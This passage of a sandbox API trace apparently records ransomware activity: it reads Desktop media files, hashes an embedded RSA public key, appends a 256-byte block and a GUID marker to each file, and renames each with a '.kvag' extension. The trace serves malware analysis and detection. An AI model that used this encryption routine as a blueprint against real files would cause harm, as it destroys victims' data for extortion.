hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x8abe, lpOverlapped=0x0) returned 1 [0118.986] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.986] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.986] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.986] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0118.987] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.987] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.987] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.987] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.987] GetLastError () returned 0x0 [0118.987] SetLastError (dwErrCode=0x0) [0118.987] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.988] GetLastError () returned 0x0 [0118.988] SetLastError (dwErrCode=0x0) [0118.989] GetLastError () returned 0x0 [0118.989] SetLastError (dwErrCode=0x0) [0118.989] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.989] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0118.989] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0118.989] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0118.989] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0118.989] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x61efac8 [0118.989] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8abe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.989] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.990] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.990] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.990] CloseHandle (hObject=0x61c) returned 1 [0118.991] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AVR2QWSJN.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\avr2qwsjn.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AVR2QWSJN.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\avr2qwsjn.m4a.kvag")) returned 1 [0118.992] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcba1ced0, ftCreationTime.dwHighDateTime=0x1d4d0c9, ftLastAccessTime.dwLowDateTime=0xc568f570, ftLastAccessTime.dwHighDateTime=0x1d4cd68, ftLastWriteTime.dwLowDateTime=0xc568f570, ftLastWriteTime.dwHighDateTime=0x1d4cd68, nFileSizeHigh=0x0, nFileSizeLow=0x32ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bPwpx4 hRUfmt26EN U.m4a", cAlternateFileName="BPWPX4~1.M4A")) returned 1 [0118.992] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bPwpx4 hRUfmt26EN U.m4a") returned=".m4a" [0118.992] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bPwpx4 hRUfmt26EN U.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bpwpx4 hrufmt26en u.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.992] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=12986) returned 1 [0118.992] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.995] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.995] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.996] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x32ba, lpOverlapped=0x0) returned 1 [0118.997] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.997] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.997] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.997] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0118.998] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.998] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.998] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.998] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.998] GetLastError () returned 0x0 [0118.998] SetLastError (dwErrCode=0x0) [0118.998] GetLastError () returned 0x0 [0118.998] SetLastError (dwErrCode=0x0) [0118.998] GetLastError () returned 0x0 [0118.998] SetLastError (dwErrCode=0x0) [0118.998] GetLastError () returned 0x0 [0118.998] SetLastError (dwErrCode=0x0) [0118.998] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] GetLastError () returned 0x0 [0118.999] SetLastError (dwErrCode=0x0) [0118.999] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.999] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.000] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.000] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.000] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.000] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x61efac8 [0119.000] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x32ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.000] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.000] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.000] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.000] CloseHandle (hObject=0x61c) returned 1 [0119.001] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bPwpx4 hRUfmt26EN U.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bpwpx4 hrufmt26en u.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bPwpx4 hRUfmt26EN U.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bpwpx4 hrufmt26en u.m4a.kvag")) returned 1 [0119.002] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ec19e0, ftCreationTime.dwHighDateTime=0x1d4d332, ftLastAccessTime.dwLowDateTime=0xf4390f00, ftLastAccessTime.dwHighDateTime=0x1d4cef0, ftLastWriteTime.dwLowDateTime=0xf4390f00, ftLastWriteTime.dwHighDateTime=0x1d4cef0, nFileSizeHigh=0x0, nFileSizeLow=0x1125b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CE eygFl g2Xt.mp3", cAlternateFileName="CEEYGF~1.MP3")) returned 1 [0119.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CE eygFl g2Xt.mp3") returned=".mp3" [0119.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CE eygFl g2Xt.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ce eygfl g2xt.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.003] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=70235) returned 1 [0119.003] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.005] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11235, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.005] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.006] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1125b, lpOverlapped=0x0) returned 1 [0119.007] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.007] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.007] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.007] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.008] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.008] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.008] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.008] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.008] GetLastError () returned 0x0 [0119.008] SetLastError (dwErrCode=0x0) [0119.008] GetLastError () returned 0x0 [0119.008] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.009] SetLastError (dwErrCode=0x0) [0119.009] GetLastError () returned 0x0 [0119.010] SetLastError (dwErrCode=0x0) [0119.010] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.010] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.010] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.010] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.010] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.010] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x61efac8 [0119.011] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1125b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.011] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.011] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.011] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.011] CloseHandle (hObject=0x61c) returned 1 [0119.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CE eygFl g2Xt.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ce eygfl g2xt.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CE eygFl g2Xt.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ce eygfl g2xt.mp3.kvag")) returned 1 [0119.013] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0119.014] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62619900, ftCreationTime.dwHighDateTime=0x1d4d088, ftLastAccessTime.dwLowDateTime=0x9d85c670, ftLastAccessTime.dwHighDateTime=0x1d4d117, ftLastWriteTime.dwLowDateTime=0x9d85c670, ftLastWriteTime.dwHighDateTime=0x1d4d117, nFileSizeHigh=0x0, nFileSizeLow=0xa4e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ERSLB.bmp", cAlternateFileName="")) returned 1 [0119.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ERSLB.bmp") returned=".bmp" [0119.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ERSLB.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\erslb.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.014] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=42216) returned 1 [0119.014] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.016] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa4c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.016] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.018] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xa4e8, lpOverlapped=0x0) returned 1 [0119.018] lstrlenA (lpString="-----BEGIN PUBLIC 